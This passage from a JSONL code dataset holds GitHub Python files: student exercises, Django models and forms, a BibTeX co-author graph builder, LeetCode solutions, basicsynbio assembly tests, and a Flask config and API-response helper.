* math.pi * jari * (jari + tinggi)\nvolume = math.pi * jari * jari * tinggi\nkeliling = 2 * ((2*math.pi*jari) + tinggi)\n\nprint(\"Luas Tabung = \",format(luas,'.2f'))\nprint(\"Volume Tabung = \",format(volume,'.2f'))\nprint(\"Keliling Tabung = \",format(keliling,'.2f'))","repo_name":"ListaRerung/tugas-2","sub_path":"prak204/PRAK204-2010817320004-SalsabilaSyifa.py","file_name":"PRAK204-2010817320004-SalsabilaSyifa.py","file_ext":"py","file_size_in_byte":383,"program_lang":"python","lang":"id","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"71701107282","text":"from django.forms import ModelForm\nfrom portfolio.models import ImageProcessing\n\nclass UploadImageForm(ModelForm):\n \n class Meta:\n model = ImageProcessing\n fields = [\"image\"]\n\n def __init__(self, *args, **kwargs):\n super(UploadImageForm, self).__init__(*args, **kwargs)\n self.fields['image'].required = True \n \nuplaodImageForm = UploadImageForm()\n","repo_name":"sushilcodex/ML_Scripts","sub_path":"portfolio/form.py","file_name":"form.py","file_ext":"py","file_size_in_byte":391,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"18795060322","text":"import pygraphviz as pgv\n\n\n# Authors class\nclass Authors(object):\n\n def __init__(self, main_author_first, main_author_sur):\n # The list of authors\n self.list_of_authors = [{'surname': main_author_sur, 'firstname': main_author_first, 'hfactor': 0, 'noPub': 0, 'relations': 0, 'level': 0}]\n # The list of relations\n self.list_of_relations = []\n self.rel_max = 0\n self.before = 3000\n self.after = 1900\n self.article_fact = 1\n self.proc_fact = 1\n self.book_fact = 1\n\n def author_append(self, this_surname, this_firstname):\n append_bool = 1\n for idx in range(0, len(self.list_of_authors)):\n idx_surname = self.list_of_authors[idx]['surname']\n idx_firstname = self.list_of_authors[idx]['firstname']\n # if Name already exists in database, do not add it\n if this_surname in idx_surname and this_firstname[0] in idx_firstname:\n append_bool = 0\n # if firstname in database is shorter than this_firstname, replace it\n if len(this_firstname) > len(idx_firstname):\n self.list_of_authors[idx]['firstname'] = this_firstname\n if append_bool > 0:\n self.list_of_authors.append({'surname': this_surname, 'firstname': this_firstname, 'hfactor': 0, 'noPub': 0, 'relations': 0, 'level': 256})\n\n # ------------------------------------------------------------------------------------------------\n def create_author_list(self, bib_database):\n for articles in bib_database.entries:\n\n authors_of_article = articles['author']\n # If Authors are delimited by ' and '\n if ' and ' in authors_of_article:\n full_names = authors_of_article.split(' and ')\n\n for s_aut in full_names:\n # Format Nikneijad, Ali M.\n if ', ' in s_aut:\n names = s_aut.split(', ')\n this_surname = names[0]\n this_firstname = names[1]\n # Format Ali M. Nikneijad\n else:\n names = s_aut.split(' ')\n this_firstname = names[0]\n this_surname = names[-1] # last element\n if len(names) > 2:\n for x in range(1, len(names) - 1):\n this_firstname = this_firstname + ' ' + names[x]\n # Check if author is already in list, otherwise append\n self.author_append(this_surname, this_firstname)\n\n elif '.,' in authors_of_article:\n\n full_names = authors_of_article.split('.,')\n for s_aut in full_names:\n names = s_aut.split(', ')\n\n if len(names) > 1: # Check if names is empty\n this_surname = names[0]\n this_firstname = names[1]\n if this_firstname[-1] is not '.':\n this_firstname = this_firstname + '.'\n\n self.author_append(this_surname, this_firstname)\n\n elif ',' in authors_of_article:\n full_names = authors_of_article.split(',')\n for i in range(0, int(len(full_names) / 2)):\n this_surname = full_names[2 * i].strip()\n this_firstname = full_names[2 * i + 1].strip()\n\n self.author_append(this_surname, this_firstname)\n\n print('No of Authors: ' + str(len(self.list_of_authors)))\n\n # -----------------------------------------------------------------------------\n def create_relations(self, bib_database):\n\n length = len(self.list_of_authors)\n\n for i in range(0, length):\n aut_name_i = self.list_of_authors[i]['surname'] + ', ' + self.list_of_authors[i]['firstname'][0]\n lvl_i = self.list_of_authors[i]['level']\n\n # increase number of publications for author\n for articles in bib_database.entries:\n if aut_name_i in articles['author'] and self.before > int(articles['year']) > self.after:\n self.list_of_authors[i]['noPub'] += 1\n\n # In my old script version, J was iterated from i (instead i+1).\n # This was not a problem with the old script, as the self- nodes were removed (or not drawn).\n\n for j in range(i + 1, length):\n this_firstname = self.list_of_authors[j]['firstname']\n this_surname = self.list_of_authors[j]['surname']\n aut_name_j = this_surname + ', ' + this_firstname[0]\n rel = 0\n\n lvl_j = self.list_of_authors[j]['level']\n\n for articles in bib_database.entries:\n if aut_name_i in articles['author'] and aut_name_j in articles['author'] and self.before > int(articles['year']) > self.after:\n\n rel = rel + 1\n\n if lvl_i < lvl_j:\n lvl_j = lvl_i + 1\n elif lvl_i > lvl_j:\n lvl_i = lvl_j + 1\n\n self.list_of_authors[i]['level'] = lvl_i\n self.list_of_authors[j]['level'] = lvl_j\n\n if rel > 0:\n self.list_of_relations.append([i, j, rel])\n self.list_of_authors[i]['relations'] += rel\n self.list_of_authors[j]['relations'] += rel\n\n # increase counter for maximum relationshsip number\n if rel > self.rel_max:\n self.rel_max = rel\n\n print('No of relations: ' + str(len(self.list_of_relations)))\n\n # ------------------------------------------------------------------------------------------------\n\n\nclass AuthorsGraph(pgv.AGraph):\n def __init__(self):\n # colors\n self.my_colorscheme = 'X11'\n self.node_fill_color = 'deepskyblue2'\n self.node_outline_color = 'navy'\n self.edge_color = 'firebrick'\n self.node_font_color = 'navy'\n self.aut_pub_thr = 1\n self.aut_edge_thr = 1\n self.edge_rel_thr = 1\n self.level = 1\n self.before = 0\n self.after = 0\n super(AuthorsGraph, self).__init__(strict=False, directed=False, splines=True, style='filled', colorscheme=self.my_colorscheme)\n\n def add_author_nodes(self, This_Authors):\n print('Add Nodes to Graph')\n for idx in range(0, len(This_Authors.list_of_authors)):\n if This_Authors.list_of_authors[idx]['noPub'] >= self.aut_pub_thr and This_Authors.list_of_authors[idx]['level'] <= self.level:\n graph_label = This_Authors.list_of_authors[idx]['surname'] + '\n' + This_Authors.list_of_authors[idx]['firstname'] + '\n' + str(This_Authors.list_of_authors[idx]['noPub'])\n\n self.add_node(idx, label=graph_label)\n self.node_attr.update(style='filled', color=self.node_outline_color, penwidth=3, fillcolor=self.node_fill_color, fontcolor=self.node_font_color)\n\n def add_author_edges(self, This_Authors):\n print('Add Edges to Graph')\n for rel in This_Authors.list_of_relations:\n if rel[2] >= self.edge_rel_thr and self.has_node(rel[0]) and self.has_node(rel[1]):\n rel_width = float(rel[2]) / This_Authors.rel_max * 4 + 1\n self.add_edge(rel[0], rel[1], label=rel[2], weigth=rel[2], dir='none', penwidth=rel_width, color=self.edge_color)\n\n def remove_author_nodes(self):\n\n print('Compact Graph')\n remove = [node for node in self.nodes() if self.degree(node) < self.aut_rel_thr]\n self.remove_nodes_from(remove)\n print('Remaining Edges: ' + str(self.number_of_edges()))\n","repo_name":"RasmusAndersen/graph-bibtex","sub_path":"authors.py","file_name":"authors.py","file_ext":"py","file_size_in_byte":7846,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"43755408925","text":"def square_root(x, y):\r\n \"\"\"Function to approximate the square root of a number within a tolerance set by the user\"\"\"\r\n \r\nstep = y **2\r\n\r\nroot = 0.0\r\n\r\nwhile abs(x - root**2) >= y and root <= x:\r\n root += step\r\n if abs(number - root**2) < y:\r\n print(\"The approximate square root of \", x, \" is \", root)\r\n else:\r\n print(\"Failed to find a square root of \", number)\r\n","repo_name":"aidanohora/Python-Practicals","sub_path":"p12p3a.py","file_name":"p12p3a.py","file_ext":"py","file_size_in_byte":392,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"8992052032","text":"# Author: RT\n# Date: 2022-10-26T14:30:20.963Z\n# URL: https://leetcode.com/problems/continuous-subarray-sum/\n\n\nclass Solution:\n def checkSubarraySum(self, nums: list[int], k: int) -> bool:\n n = len(nums)\n s = 0\n seen = {0: -1} # mod k: leftmost position\n for i, num in enumerate(nums):\n s += num\n m = s % k\n if m in seen and i - seen[m] > 1:\n return True\n\n if m not in seen:\n seen[m] = i\n\n return False\n","repo_name":"Roytangrb/dsa","sub_path":"leetcode/python/523-continuous-subarray-sum.py","file_name":"523-continuous-subarray-sum.py","file_ext":"py","file_size_in_byte":515,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"3"} +{"seq_id":"35999412531","text":"import logging\nimport os\n\nfrom flask import Flask\nfrom flask.ext.pymongo import PyMongo\n\n\ndef init():\n \"\"\"Init app environment\n\n Set environment variable 'INI' to 'testing' or 'production' to start\n the app in production or testing mode.\n \"\"\"\n ini = os.environ.get('INI')\n if ini == 'production':\n config_file = 'production.cfg'\n formatter = logging.Formatter(\n '%(asctime)s %(levelname)s: %(message)s '\n '[in %(pathname)s:%(lineno)d]')\n handler = logging.handlers.RotatingFileHandler(\n 'cwr.log', maxBytes=1000000, backupCount=2)\n handler.setLevel(logging.INFO)\n handler.setFormatter(formatter)\n app.logger.addHandler(handler)\n elif ini == 'testing':\n config_file = 'testing.cfg'\n else:\n raise ValueError(\"Error! environment variable 'INI' must be set to \"\n \"'production' or 'testing'\")\n app.config.from_pyfile(config_file)\n\napp = Flask('cwr')\ninit()\nds = PyMongo(app) # Data store\nPAGE_LIMIT = 20\nDATA_PROXY = 'http://data.vapour.ws/cwr'\n","repo_name":"juju-solutions/cwr-status","sub_path":"cwrstatus/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1094,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"43798919583","text":"# 3190 뱀\r\n# 34176 KB / 68ms \r\n# 기본 코드\r\nimport sys\r\nsys.stdin = open(\"input.txt\", \"r\")\r\ninput = sys.stdin.readline\r\nfrom collections import deque\r\n\r\nn = int(input())\r\nk = int(input())\r\ngraph = [[0] * n for _ in range(n)]\r\ndx = [0, 1, 0, -1]\r\ndy = [1, 0, -1, 0]\r\n\r\nfor i in range(k):\r\n a, b = map(int, input().split())\r\n graph[a - 1][b - 1] = 2\r\n\r\nl = int(input())\r\nDict = dict()\r\nqueue = deque()\r\nqueue.append((0, 0))\r\n\r\nfor i in range(l):\r\n x, c = input().split()\r\n Dict[int(x)] = c\r\n\r\n\r\nx, y = 0, 0\r\ngraph[x][y] = 1\r\ncnt = 0\r\ndirection = 0\r\n\r\ndef turn(d):\r\n global direction\r\n if d == 'L':\r\n direction = (direction - 1) % 4\r\n else:\r\n direction = (direction + 1) % 4\r\n\r\nwhile True:\r\n cnt += 1\r\n x += dx[direction]\r\n y += dy[direction]\r\n\r\n\r\n # 벽에 부닥침ㄴ 끝\r\n if x < 0 or x >= n or y < 0 or y >= n:\r\n break\r\n \r\n # 몸통 늘리기 \r\n if graph[x][y] == 2:\r\n graph[x][y] = 1\r\n queue.append((x, y))\r\n if cnt in Dict:\r\n turn(Dict[cnt])\r\n \r\n # 몸통이 짤ㅂ아짐\r\n elif graph[x][y] == 0:\r\n graph[x][y] = 1\r\n queue.append((x, y))\r\n nx, ny = queue.popleft()\r\n graph[nx][ny] = 0\r\n if cnt in Dict:\r\n turn(Dict[cnt])\r\n # 1 ���나면 끝나는거\r\n else :\r\n break\r\nprint(cnt)\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n","repo_name":"KDT-02-Algorithm-Study/Algorithm-Study","sub_path":"week15_230420/3190_뱀/3190_이수빈.py","file_name":"3190_이수빈.py","file_ext":"py","file_size_in_byte":1379,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"} +{"seq_id":"36710255793","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Feb 13 15:58:09 2021\r\n\r\n@author: ufuky\r\n\"\"\"\r\n\r\nimport numpy as np\r\nimport math\r\nimport matplotlib.pyplot as plt\r\nfrom scipy.interpolate import make_interp_spline\r\npi = math.pi\r\n\r\n# TSDS Özellikleri\r\nTn=1.0 #[s] - TSDS periyodu (AKS'siz)\r\nwn=2*pi/Tn #[rad/s] - TSDS açısal hızı\r\nM=30e3 #[kg] - TSDS kütlesi\r\nK=M*(wn**2) #[N/m] - TSDS yay rijitligi\r\n\r\n# Dış Yük Özellikleri\r\np0=1e3 #[N] - Dış yük genliği\r\n#wp_wn_orani=0.5 #[-] - Dış yük frekans oranı\r\n\r\nwp_wn_oranlari=np.arange(0.1,1.5,0.01)\r\n\r\nmax_tsds=np.zeros(wp_wn_oranlari.shape) \r\n# - Her bir omege_p için döngü\r\nfor j in range(1,len(wp_wn_oranlari)):\r\n wp_wn_orani=wp_wn_oranlari[j-1]\r\n wp=wp_wn_orani*wn #[rad/s] - Dış yük açısal hızı\r\n \r\n \r\n # Zaman vektörü, t\r\n t_basla=0 #[s]\r\n t_bitis=30*Tn #[s]\r\n dt=Tn/30 #[s] - Zaman integrasyonu adımı\r\n t=np.arange(t_basla,t_bitis+dt,dt)\r\n nag=len(t)\r\n \r\n # Yüklevel vektörü, p(t)\r\n pts=p0*np.sin(wp*t)\r\n \r\n # AKS özellikleri\r\n mu=0.05 #[-] AKS kütlesi TSDS kütlesi oranı\r\n m=mu*M #[kg] - AKS kütlesi\r\n f=1 #[-] - AKS frekansının TSDS frekansına oranı\r\n w=f*wn #[rad/s] - AKS açısal hızı\r\n k=m*(w**2) #[N/m] - AKS yay rijitliği\r\n \r\n Ms=np.diag([M, m])#[kg] - Sistem kütle matrisi\r\n # Ks: [N/m] - Sistem rijitlik matrisi\r\n Ks=np.array([[K+k, -k],\r\n [-k, k]])\r\n # M^-1*K matrisi\r\n invMK=np.dot(np.linalg.inv(Ms),Ks)\r\n # Özdeğer, özvektör çözümü\r\n V,D=np.linalg.eig(invMK)\r\n # Özdeğer sıralaması\r\n idx=V.argsort()[::1]\r\n V=V[idx]\r\n D=D[:,idx]\r\n # ws: [rad/s] - ÇSDS için açısal hızlar\r\n ws=[np.sqrt(item) for item in V]\r\n # Ts: [s] - ÇSDS için periyodlar\r\n Ts=[2*np.pi/item for item in ws]\r\n \r\n # r: Dış etki vektörü\r\n ndof=Ms.shape[0]\r\n r = np.ones(ndof)\r\n r[1]=0\r\n P_exc=np.outer(r,pts)\r\n \r\n Cs = np.zeros(Ms.shape) # - Sistem sönüm matrisi\r\n \r\n P_exc0=P_exc[:,0]\r\n invM=np.linalg.inv(Ms)\r\n \r\n x0=np.zeros(ndof)\r\n v0=np.zeros(ndof)\r\n a0=invM.dot(P_exc0 - Cs.dot(v0) - Ks.dot(x0))\r\n \r\n beta=1/4;\r\n gamma=1/2;\r\n \r\n K_tilde = Ks + gamma/(beta*dt)*Cs + 1/(beta*dt**2)*Ms\r\n C1 = 1/(beta*dt)*Ms + gamma/beta*Cs\r\n C2 = 1/(2*beta)*Ms + dt*(gamma/(2*beta)-1)*Cs\r\n \r\n x = np.zeros((ndof,nag))\r\n v = np.zeros((ndof,nag))\r\n a = np.zeros((ndof,nag))\r\n \r\n # Newmark zaman integrasyonu döngüsü\r\n x[:,0]=x0\r\n v[:,0]=v0\r\n a[:,0]=a0\r\n for i in range(1,len(t)):\r\n dP = P_exc[:,i] - P_exc[:,i-1]\r\n dP_tilde = dP + C1.dot(v[:,i-1]) + C2.dot(a[:,i-1])\r\n \r\n dx = np.linalg.inv(K_tilde).dot(dP_tilde)\r\n dv = gamma/(beta*dt)*dx - gamma/beta*v[:,i-1] \r\n + (1-gamma/(2*beta))*dt*a[:,i-1]\r\n da = 1/(beta*dt**2)*dx - 1/(beta*dt)*v[:,i-1] - 1/(2*beta)*a[:,i-1]\r\n \r\n x[:,i] = x[:,i-1] + dx\r\n v[:,i] = v[:,i-1] + dv\r\n a[:,i] = a[:,i-1] + da\r\n \r\n # - Omega_p için max_tsds yer değiştirmesini sakla\r\n max_tsds[j-1]=max(abs(x[0]))\r\n\r\nplt.figure(0)\r\nplt.plot(wp_wn_oranlari,max_tsds,label='max_tsds')\r\nplt.legend()\r\nplt.grid()\r\nplt.show()\r\n\r\n\r\n\r\n","repo_name":"barisoztas/iyte_yapi_dinamigi_calistayi","sub_path":"iyte_yapi_dinamigi_calistayi/YDC_gun6_ders5_AKS.py","file_name":"YDC_gun6_ders5_AKS.py","file_ext":"py","file_size_in_byte":3254,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"73244135440","text":"from django.db import models\nfrom django.utils.translation import gettext_lazy\n\nfrom postcode.models import Postcode\n\n\nclass Order(models.Model):\n ORDERED = 1\n ACCEPTED = 2\n SENT = 3\n REJECTED = 4\n\n ORDER_STATUS_CHOICES = [\n (ORDERED, gettext_lazy('Ordered')),\n (ACCEPTED, gettext_lazy('Accepted')),\n (SENT, gettext_lazy('Sent')),\n (REJECTED, gettext_lazy('Rejected')),\n ]\n name = models.CharField(gettext_lazy('name'), max_length=100)\n address = models.CharField(gettext_lazy('address'), max_length=100)\n postcode = models.ForeignKey(Postcode, on_delete=models.CASCADE, related_name=\"orders\")\n email = models.EmailField(gettext_lazy('email'))\n mobile = models.CharField(gettext_lazy('mobile'), max_length=20)\n status = models.IntegerField(\n gettext_lazy('status'),\n choices=ORDER_STATUS_CHOICES,\n default=ORDERED\n )\n created = models.DateTimeField(auto_now_add=True)\n updated = models.DateTimeField(auto_now=True)\n\n\nclass OrderItem(models.Model):\n product = models.ForeignKey('product.Product', on_delete=models.CASCADE)\n order = models.ForeignKey(Order, on_delete=models.CASCADE, related_name='items')\n count = models.PositiveIntegerField(default=1)\n price = models.DecimalField(max_digits=10, decimal_places=2)\n created = models.DateTimeField(auto_now_add=True)\n updated = models.DateTimeField(auto_now=True)\n\n def subtotal(self):\n return self.count * self.price\n","repo_name":"jakobdo/covidere","sub_path":"order/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1488,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"32772865220","text":"import basicsynbio as bsb\nimport pytest\n\nfrom .test_fixtures import (\n gfp_basicpart,\n gfp_seqrec,\n gfp_orf_seq,\n cmr_p15a_basicpart,\n cmr_p15a_backbone,\n five_part_assembly_parts,\n five_part_assembly_linkers,\n five_part_assembly,\n gfp_orf_seqrec,\n gfp_orf_basicpart,\n bseva_68_seqrec,\n bsai_part_seqrec,\n promoter_assemblies_build,\n promoter_assemblies_json,\n)\nfrom .functions import (\n compare_seqrec_instances,\n)\n\n\ndef test_export_csv(promoter_assemblies_build):\n import os\n\n try:\n bsb.cam.export_csvs(promoter_assemblies_build, \"test_build.zip\")\n print(\"finished exporting Assemblies.csv\")\n print(\"finished exporting Clips.csv\")\n finally:\n os.remove(\"test_build.zip\")\n\n\ndef test_new_part_resuspension(gfp_orf_basicpart):\n from Bio.SeqUtils import molecular_weight\n\n print(f\"length of basicpart: {len(gfp_orf_basicpart.seq)}\")\n print(f\"estimated MW: {len(gfp_orf_basicpart.seq*660)}\")\n print(\n f\"biopython MW: {molecular_weight(gfp_orf_basicpart.seq, double_stranded=True)}\"\n )\n mass = 750\n vol = bsb.new_part_resuspension(part=gfp_orf_basicpart, mass=mass)\n print(f\"Calculated volume of resuspension buffer: {vol}\")\n mw = molecular_weight(gfp_orf_basicpart.seq, double_stranded=True)\n print(f\"estimated concentration: {mass*1e-9/(vol*1e-6*mw)*1e9}\")\n assert 75 == round(mass * 1e-9 / (vol * 1e-6 * mw) * 1e9)\n\n\ndef test_basic_build_indetical_ids(five_part_assembly):\n from basicsynbio.cam import BuildException\n\n with pytest.raises(\n BuildException,\n match=f\"ID '{five_part_assembly.id}' has been assigned to 2 BasicAssembly instance/s. All assemblies of a build should have a unique 'id' attribute.\",\n ):\n bsb.BasicBuild(five_part_assembly, five_part_assembly)\n\n\ndef test_unique_parts_in_build_are_unique(promoter_assemblies_build):\n true_unique_parts = []\n for part in promoter_assemblies_build.unique_parts:\n if part not in true_unique_parts:\n true_unique_parts.append(part)\n print(f\"true unique part IDs: {[part.id for part in true_unique_parts]}\")\n print(\n f\"build unique part IDs: {[part.id for part in promoter_assemblies_build.unique_parts]}\"\n )\n assert len(true_unique_parts) == len(promoter_assemblies_build.unique_parts)\n\n\ndef test_type_of_unique_parts_is_tuple_of_parts(promoter_assemblies_build):\n assert isinstance(promoter_assemblies_build.unique_parts, tuple)\n assert isinstance(promoter_assemblies_build.unique_parts[0], bsb.BasicPart)\n\n\ndef test_type_of_unique_linkers_is_tuple_of_parts(promoter_assemblies_build):\n assert isinstance(promoter_assemblies_build.unique_linkers, tuple)\n assert isinstance(promoter_assemblies_build.unique_linkers[0], bsb.BasicLinker)\n\n\ndef test_unique_linkers_data_clips(promoter_assemblies_build):\n lmp = bsb.BASIC_BIOLEGIO_LINKERS[\"v0.1\"][\"LMP\"]\n lmp_prefix_instances = len(\n [\n clip_reaction\n for clip_reaction in promoter_assemblies_build.unique_clips\n if clip_reaction._prefix == lmp\n ]\n )\n lmp_suffix_instances = len(\n [\n clip_reaction\n for clip_reaction in promoter_assemblies_build.unique_clips\n if clip_reaction._suffix == lmp\n ]\n )\n assert (\n len(\n promoter_assemblies_build.unique_linkers_data[lmp.seq][\n \"prefix clip reactions\"\n ]\n )\n == lmp_prefix_instances\n )\n assert (\n len(\n promoter_assemblies_build.unique_linkers_data[lmp.seq][\n \"suffix clip reactions\"\n ]\n )\n == lmp_suffix_instances\n )\n\n\ndef test_partially_decoded_build(promoter_assemblies_json, promoter_assemblies_build):\n import json\n\n decoded_build = json.loads(promoter_assemblies_json, cls=bsb.BuildDecoder)\n assert True == isinstance(decoded_build, bsb.BasicBuild)\n assert len(promoter_assemblies_build.basic_assemblies) == len(\n decoded_build.basic_assemblies\n )\n\n\ndef test_decoded_build(promoter_assemblies_build, promoter_assemblies_json):\n import json\n\n decoded_build = json.loads(promoter_assemblies_json, cls=bsb.BuildDecoder)\n original_parts = (\n part_dict[\"part\"]\n for part_dict in promoter_assemblies_build.unique_parts_data.values()\n )\n decoded_build.update_parts(*original_parts)\n sfgfp_hash = bsb.BASIC_CDS_PARTS[\"v0.1\"][\"sfGFP\"].seq\n assert (\n compare_seqrec_instances(\n decoded_build.unique_parts_data[sfgfp_hash][\"part\"],\n bsb.BASIC_CDS_PARTS[\"v0.1\"][\"sfGFP\"],\n )\n == True\n )\n\n\ndef test_build_digest(promoter_assemblies_build):\n build_digest = tuple(bsb.build_digest(promoter_assemblies_build))\n assert len(build_digest) == len(promoter_assemblies_build.basic_assemblies)\n for assembly_digest in build_digest:\n assert len(assembly_digest.sequences) == 2\n promoter_assemblies_returned_parts = (\n assembly.return_part()\n for assembly in promoter_assemblies_build.basic_assemblies\n )\n for ind, part in enumerate(promoter_assemblies_returned_parts):\n assert len(part.basic_slice()) + 6 in build_digest[ind].product_lengths\n","repo_name":"LondonBiofoundry/basicsynbio","sub_path":"tests/test_cam.py","file_name":"test_cam.py","file_ext":"py","file_size_in_byte":5257,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"3"} +{"seq_id":"70530834963","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# The above lines tell the shell to use python as interpreter when the\n# script is called directly, and that this file uses utf-8 encoding,\n# because of the country specific letter in my surname.\n'''\nName: Program 9\nAuthor: Martin Bo Kristensen Grønholdt.\nVersion: 1.0 (6/11-2016)\n\nConvert Celsius temperatures to Fahrenheit temperatures.\n'''\n\n\ndef main():\n '''\n Program main entry point.\n '''\n # Get the amount of purchase from the user.\n try:\n celcius = float(input('Enter temperature in degrees Celsius: '))\n except ValueError:\n # Complain when something unexpected was entered.\n print('\\nPlease use only numbers.')\n exit(1)\n\n # Calculate the county tax.\n fahrenheit = (9 / 5) * celcius + 32\n\n # Print the totals\n # Use new style Python 3 format strings.\n # {:0.2f} means 2 digits after the decimal point.\n print('\\n{:0.2f} degrees Celcius is'.format(celcius),\n '{:0.2f} degrees Fahrenheit.'.format(fahrenheit))\n\n\n# Run this when invoked directly\nif __name__ == '__main__':\n main()\n","repo_name":"deadbok/eal_programming","sub_path":"Assignment B1/prog9.py","file_name":"prog9.py","file_ext":"py","file_size_in_byte":1108,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"40980187029","text":"from django.http import HttpResponse\nfrom django.utils import simplejson\nfrom django.conf import settings\nfrom xml.etree import ElementTree as ET\nimport re, yaml\n\ncallback_re = re.compile(r'^[a-zA-Z_][a-zA-Z0-9_]+$')\n\ndef indent(elem, level=0):\n # http://effbot.org/zone/element-lib.htm\n i = '\\n' + level * ' '\n if len(elem):\n if not elem.text or not elem.text.strip():\n elem.text = i + ' '\n if not elem.tail or not elem.tail.strip():\n elem.tail = i\n for elem in elem:\n indent(elem, level+1)\n if not elem.tail or not elem.tail.strip():\n elem.tail = i\n else:\n if level and (not elem.tail or not elem.tail.strip()):\n elem.tail = i\n\ndef json_to_xml(json):\n el = json_to_element(json)\n indent(el)\n return ET.tostring(el)\n\ndef json_to_element(json):\n if isinstance(json, bool):\n el = ET.Element('bool')\n el.text = str(json)\n return el\n if isinstance(json, basestring):\n el = ET.Element('str')\n el.text = json\n return el\n if isinstance(json, int):\n el = ET.Element('int')\n el.text = str(json)\n return el\n if isinstance(json, float):\n el = ET.Element('int')\n el.text = str(json)\n return el\n if json is None:\n return ET.Element('null')\n if isinstance(json, (list, tuple)):\n el = ET.Element('list')\n for item in json:\n inner_el = ET.Element('item')\n inner_el.append(json_to_element(item))\n el.append(inner_el)\n return el\n if isinstance(json, dict):\n el = ET.Element('dict')\n for key, value in json.items():\n inner_el = ET.Element('entry')\n inner_el.attrib['key'] = key\n inner_el.append(json_to_element(value))\n el.append(inner_el)\n return el\n assert False, 'Cannot XML serialize object of type %s' % type(json)\n\ndef api_response(request, status_code, result, ok=True):\n info = {\n 'ok': ok,\n 'status': status_code,\n 'version': settings.OUR_API_VERSION,\n 'result': result,\n }\n format = request.GET.get('format', '')\n if format not in ('html', 'xml', 'json', 'yaml', ''):\n return HttpResponse('Unknown format', content_type = 'text/plain')\n \n if format == 'html':\n return HttpResponse(\n 'API response
    ' + \n            simplejson.dumps(info, indent=2) + \n            '
    ',\n content_type='text/html; charset=utf8'\n )\n \n if format == 'xml':\n return HttpResponse(\n json_to_xml(info),\n content_type='application/xml; charset=utf8', status=status_code\n )\n \n if format == 'yaml':\n return HttpResponse(\n yaml.safe_dump(info),\n content_type='text/plain; charset=utf8', status=status_code\n )\n \n content_type = 'application/javascript; charset=utf8'\n if 'application/json' in request.META.get('HTTP_ACCEPT', ''):\n content_type = 'application/json; charset=utf8'\n \n json = simplejson.dumps(info, indent=2)\n callback = request.GET.get('callback', '')\n if callback_re.match(callback):\n json = '%s(%s)' % (callback, json)\n status_code = 200\n content_type = 'application/javascript; charset=utf8'\n \n response = HttpResponse(\n json,\n content_type=content_type, status=status_code\n )\n response['Vary'] = 'Accept'\n return response\n\ndef api_date(dt):\n if dt:\n return dt.strftime('%Y-%m-%d')\n else:\n return ''\n\ndef api_datetime(dt):\n if dt:\n return dt.strftime('%Y-%m-%d %H:%M:%S')\n else:\n return ''\n","repo_name":"devfort/wildlifenearyou","sub_path":"zoo/api/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3767,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"2287460898","text":"#https://www.acmicpc.net/problem/2920\n\nnums = list(map(int, input().split()))\n\ntypeOfNums = 0\n\nif nums[0] == 1:\n typeOfNums = 1\n for i in range(len(nums)-1):\n if nums[i] > nums[i+1]:\n typeOfNums = 0\n break\nelif nums[0] == 8:\n typeOfNums = 2\n for i in range(len(nums)-1):\n if nums[i] < nums[i+1]:\n typeOfNums = 0\n break\nelse:\n typeOfNums = 0\n\n\nif typeOfNums == 0:\n print(\"mixed\")\nelif typeOfNums == 1:\n print(\"ascending\")\nelse:\n print(\"descending\")","repo_name":"Myunwoo/algorithm_study","sub_path":"solved.ac_1/baek2920.py","file_name":"baek2920.py","file_ext":"py","file_size_in_byte":529,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"7495424716","text":"from typing import Optional\n\n\nclass TreeNode:\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n\n\nclass Solution:\n def isSameTree(self, p: Optional[TreeNode], q: Optional[TreeNode]) -> bool:\n def dfs(n1, n2):\n if not n1 and not n2:\n return True\n if not n1 or not n2 or n1.val != n2.val:\n return False\n\n return dfs(n1.left, n2.left) and dfs(n1.right, n2.right)\n\n return dfs(p, q)\n\n\n\"\"\"\nExplanation:\n\nUse a helper dfs function that takes in two nodes, n1 and n2, and compares them for equality. If both n1 and n2 are null, we've reached the end of the tree and the nodes match, so return True. If either n1 or n2 is null, or the values of n1 and n2 are not equal, the trees are not equal, so return False. Otherwise, make two recursive calls to dfs, one with n1.left and n2.left, and the other with n1.right and n2.right, to compare the subtrees. We then return the ANDed result of these two recursive calls.\n\nOverall, the dfs function recursively compares the nodes of the two trees and returns True if all nodes match, and False otherwise.\n\nNotes:\n\nTime complexity: O(n), where n is the number of nodes in the binary tree, because we need to visit each node exactly once.\n\nSpace complexity: O(h), where h is the height of the binary tree.\n\"\"\"\n\n# Test 1: One tree empty\nfirst = TreeNode(1)\nsecond = None\nare_same = Solution().isSameTree(first, second)\nexpected = False\nassert are_same == expected, f\"Expected {expected} but got {are_same}\"\n\n# Test 2: Both trees empty\nfirst = None\nsecond = None\nare_same = Solution().isSameTree(first, second)\nexpected = True\nassert are_same == expected, f\"Expected {expected} but got {are_same}\"\n\n# Test 3: Both trees single node, same values\nfirst = TreeNode(1)\nsecond = TreeNode(1)\nare_same = Solution().isSameTree(first, second)\nexpected = True\nassert are_same == expected, 